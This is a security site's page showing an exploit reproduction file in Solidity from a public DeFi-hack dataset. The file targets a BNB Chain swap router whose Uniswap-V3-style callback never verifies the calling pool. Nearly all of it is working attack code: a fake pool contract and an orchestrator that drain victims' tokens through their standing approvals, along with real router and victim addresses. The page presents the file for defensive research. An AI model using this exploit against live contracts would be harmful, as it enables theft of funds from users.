Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/RouterDrain_exp.sol

Public reproduction file for dataset entry RouterDrain.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/RouterDrain_exp.sol225 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.19;
3
4import "forge-std/Test.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// DEX-router (swap-aggregator) drain — BNB Chain. The router exposes a permissionless swap entrypoint
8// (selector 0x33411b5e) whose Uniswap-V3-style callback pays a caller-influenced "payer" via
9// transferFrom(payer, pool, amount) but NEVER verifies that the calling pool is a genuine,
10// factory-derived Uniswap V3 pool. factoryV3 on the router is the zero address, so no legitimate pool
11// address could even be computed to check against. A fake contract that merely implements the pool
12// swap() selector can therefore re-enter the router's own uniswapV3SwapCallback and pull any token
13// from any address that ever approved the router, all inside one transaction.
14//
15// Attack tx : 0x40eb22369da422a8275d5679054aa3a8c8906d93abc0bac3a3f2cad879389319 (block 120524634)
16// Attacker : 0xB929C7215c0ec8EbAD5fBf73b1Da63bccfFf1896
17// Router : 0xa331fde028e6F17425AB9333c39ae43722340d24 (proxy -> unverified impl 0x241f743e...)
18// Loss : ~62.28 WBNB across 29 victims. This PoC reproduces a representative subset (3 victims),
19// which is sufficient to demonstrate the bug per this repo's convention; matching the full
20// 62.28 WBNB across all 29 victims is unnecessary.
21//
22// ROOT CAUSE — confirmed on-chain (router is unverified, so confirmed by direct reads + the tx trace,
23// not by source):
24// 1. factoryV3() on the router returns 0x0000...0000 (direct getter read at the fork block). With no
25// factory, the callback cannot derive/verify a canonical pool address, so any msg.sender passes.
26// 2. Entry 0x33411b5e takes a route list carrying an attacker-chosen `pool` address; the router calls
27// pool.swap(0x128acb08) on it with no check that `pool` is real. (ABI recovered from the trace and
28// re-encoded byte-for-byte to validate — see IRouterVuln / Route below.)
29// 3. The router's uniswapV3SwapCallback(int256,int256,bytes)=0xfa461e33 decodes a `payer` out of the
30// pool-echoed callback `data` and does transferFrom(payer, msg.sender, amount). It binds neither
31// msg.sender to a real pool nor `payer` to the original swap initiator. In the real tx the fake
32// pool even substitutes a different `payer` (the victim) than the one the router passed it.
33//
34// Attack flow (this PoC): a named FakePool implements only pool.swap(); the exploit calls the router's
35// real 0x33411b5e entry with the FakePool as the route `pool` and a victim's token as tokenIn. The
36// router calls FakePool.swap(), which re-enters the router's uniswapV3SwapCallback with `data` naming
37// the VICTIM as payer, so the router runs transferFrom(victim, FakePool, amount) under the victim's
38// standing approval. Real amounts drained per victim are taken from the fork state (their actual token
39// balance), each with a standing max approval to the router (granted here via vm.prank as the victim,
40// exactly modelling "an address that had previously approved the router").
41//
42// The original tx bootstrapped gas with a 1 WBNB PancakeV2 flash-swap and later sold the looted tokens
43// to WBNB; those steps are downstream monetisation, not the vulnerability, so they are omitted. Profit
44// is asserted in the drained TOKENS moving from each victim to the attacker's FakePool.
45//
46// Run:
47// forge test --contracts src/test/2026-09/RouterDrain_exp.sol -vvv
49address constant ROUTER = 0xa331fde028e6F17425AB9333c39ae43722340d24;
50address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
51// selector of the permissionless entry. The router is unverified so its function NAME is unknown; the
52// argument tuple below was recovered from the trace and re-encoded to match the real calldata exactly.
53bytes4 constant SWAP_SELECTOR = 0x33411b5e;
55interface IRouterVuln {
56 function factoryV3() external view returns (address);
57 // The unprotected Uniswap-V3 callback the fake pool re-enters.
58 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;
61// Route element carried by the 0x33411b5e entry. Field meanings inferred from the trace; only tokenIn,
62// tokenOut, pool and fee matter to reach pool.swap(). (uint256,address,address,address,uint256,uint256,uint256,bytes)
63struct Route {
64 uint256 kind; // =1 in the trace
65 address tokenIn;
66 address tokenOut;
67 address pool;
68 uint256 fee; // =10000 in the trace
69 uint256 a;
70 uint256 b;
71 bytes data;
74// Payload the router's callback decodes to learn the payer/token/amount. Layout matches the real
75// callback `data` (abi.encode of {bytes path; address payer; address recipient; uint256 amount}).
76struct PayInfo {
77 bytes path;
78 address payer;
79 address recipient;
80 uint256 amount;
83contract RouterDrain_exp is Test {
84 // Three representative victims, their token, and the exact balance drained (read from fork state).
85 struct Victim {
86 address who;
87 address token;
88 string sym;
89 }
91 Victim[3] internal victims;
92 RouterDrainExploit internal exploit;
94 function setUp() public {
95 // Parent block of the exploit tx: real protocol/victim state immediately before the attack.
96 vm.createSelectFork("bsc", 120_524_633);
98 victims[0] = Victim(0x75EE838187717030d2c43063fc9a0e8553838e05, 0xb81139F4539BC3d726fA0b675024D319aF676666, "OCEAN");
99 victims[1] = Victim(0xE32D727406dBEe7b596FECcAA2A30c0241c6BA5C, 0xeC98fbAAFa8bCD79E8ddC3d3675f1D0eA16E7777, "Kandura");
100 victims[2] = Victim(0x50782465b39D2AcE46B906aFD297Ba194E533e3c, 0xF23E4A84a950e9AdaE4B95468a4857ca34Ce7777, "SATURN");
102 exploit = new RouterDrainExploit();
104 vm.label(ROUTER, "VulnRouter");
105 vm.label(WBNB, "WBNB");
106 vm.label(address(exploit), "Exploit");
107 }
109 /// forge-config: default.evm_version = "cancun"
110 function testExploit() public {
111 // CONFIRM the core precondition on-chain: the router has no V3 factory, so its callback cannot
112 // verify a real pool. This is what makes an arbitrary fake pool acceptable.
113 assertEq(IRouterVuln(ROUTER).factoryV3(), address(0), "factoryV3 must be zero (no pool verification possible)");
115 for (uint256 i = 0; i < victims.length; i++) {
116 Victim memory v = victims[i];
117 uint256 victimBal = IERC20(v.token).balanceOf(v.who);
118 assertGt(victimBal, 0, "victim should hold a real balance at the fork block");
120 // Model "an address that had previously approved the router": grant a real standing approval
121 // from the victim to the router, via the real token contract, pranking as the victim.
122 vm.prank(v.who);
123 IERC20(v.token).approve(ROUTER, type(uint256).max);
125 // Bootstrap capital. The router GATES its entry on balanceOf(recipient) >= amountIn (it never
126 // spends the recipient's tokens, only gates on them), so the attacker must hold a little of
127 // the token to begin. The real tx obtained this by flash-swapping ~1 WBNB into the token on
128 // PancakeSwap; here we model that small working capital by dealing a seed to the fake pool.
129 // Everything drained beyond this seed is the victim's real tokens pulled under their approval.
130 uint256 seed = victimBal / 256 + 1;
131 deal(v.token, address(exploit), seed);
133 // Drain: repeatedly exploit -> router.0x33411b5e -> FakePool.swap ->
134 // router.uniswapV3SwapCallback -> transferFrom(victim, FakePool, amountIn), each call pulling
135 // up to the attacker's current balance (the gated amount), which grows every iteration.
136 exploit.drain(v.who, v.token);
138 uint256 stolen = IERC20(v.token).balanceOf(address(exploit)) - seed;
139 emit log_named_string("victim token", v.sym);
140 emit log_named_uint("victim balance drained (raw)", stolen);
142 assertEq(stolen, victimBal, "attacker must capture the victim's full balance");
143 assertEq(IERC20(v.token).balanceOf(v.who), 0, "victim must be fully drained");
144 }
145 }
148// Fake Uniswap-V3 pool: implements ONLY swap(). When the router calls it, it re-enters the router's own
149// uniswapV3SwapCallback with callback data naming the configured victim as payer, so the router pulls
150// the victim's tokens to this contract under the victim's standing approval.
151contract FakePool {
152 address internal immutable owner;
153 address internal payer; // the victim to drain, set by the exploit before each router entry call
154 address internal tokenIn;
155 uint256 internal amount;
157 constructor() {
158 owner = msg.sender;
159 }
161 function arm(address _payer, address _tokenIn, uint256 _amount) external {
162 require(msg.sender == owner, "only owner");
163 payer = _payer;
164 tokenIn = _tokenIn;
165 amount = _amount;
166 }
168 // Uniswap V3 pool swap selector 0x128acb08. The router calls this; msg.sender is the router.
169 function swap(address, bool zeroForOne, int256, uint160, bytes calldata) external returns (int256, int256) {
170 bytes memory path = abi.encodePacked(tokenIn, uint24(10000), WBNB);
171 PayInfo memory info = PayInfo({path: path, payer: payer, recipient: owner, amount: amount});
172 // Re-enter the router's unprotected callback. The owed (positive) delta must be on the INPUT
173 // token side: token0 when zeroForOne, else token1. The router then transferFrom(payer, this,
174 // amount) of the input token — i.e. drains the victim.
175 (int256 amount0Delta, int256 amount1Delta) =
176 zeroForOne ? (int256(amount), int256(-1)) : (int256(-1), int256(amount));
177 IRouterVuln(msg.sender).uniswapV3SwapCallback(amount0Delta, amount1Delta, abi.encode(info));
178 // Forward the looted tokens to the exploit (the router's caller/recipient) so its balance grows
179 // and clears the router's balance gate on the next iteration. Matches the real tx, where the fake
180 // pool forwarded each drained amount to the orchestrator.
181 uint256 bal = IERC20(tokenIn).balanceOf(address(this));
182 if (bal > 0) IERC20(tokenIn).transfer(owner, bal);
183 return (amount0Delta, amount1Delta);
184 }
187// Orchestrator: calls the router's real permissionless entry with a Route pointing at the FakePool.
188contract RouterDrainExploit {
189 address public immutable pool; // the FakePool that receives the looted tokens
191 constructor() {
192 pool = address(new FakePool());
193 }
195 function drain(address victim, address token) external {
196 uint256 victimBal = IERC20(token).balanceOf(victim);
197 for (uint256 i = 0; i < 256 && victimBal > 0; i++) {
198 // amountIn is gated by the attacker's current holdings; pull the smaller of that and what the
199 // victim still has. Holdings grow each iteration, so this doubles until the victim is empty.
200 uint256 hold = IERC20(token).balanceOf(address(this));
201 require(hold > 0, "need bootstrap seed");
202 uint256 amountIn = victimBal < hold ? victimBal : hold;
204 FakePool(pool).arm(victim, token, amountIn);
206 Route[] memory routes = new Route[](1);
207 routes[0] =
208 Route({kind: 1, tokenIn: token, tokenOut: WBNB, pool: pool, fee: 10000, a: 0, b: 0, data: ""});
210 // Typed call of the unverified entry: real struct + typed args, encoded under the known
211 // selector (no calldata blob). recipient = pool so the router's balance gate reads the pool
212 // where the looted tokens accumulate. Router calls FakePool.swap(), driving the callback drain.
213 (bool ok,) = ROUTER.call(
214 abi.encodeWithSelector(
215 SWAP_SELECTOR, routes, amountIn, uint256(0), uint256(0), uint256(0), address(this), bytes("")
216 )
217 );
218 require(ok, "router entry call failed");
220 uint256 newBal = IERC20(token).balanceOf(victim);
221 require(newBal < victimBal, "no progress");
222 victimBal = newBal;
223 }
224 }

Analysis

Dataset entry

Public Foundry test for “RouterDrain” (2026-09-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb929c7215c0ec8ebad5fbf73b1da63bccfff1896

  • Attack Tx

    0x40eb22369da422a8275d5679054aa3a8c8906d93abc0bac3a3f2cad879389319

File record

Name
RouterDrain
Path
src/test/2026-09/RouterDrain_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ced1c9b8cb8e5fa8c4fc875c1cfb8ae5c985d455
Language
Solidity
Size
226 lines
Date
2026-09-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/RouterDrain_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ced1c9b8cb8e5fa8c4fc875c1cfb8ae5c985d455, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.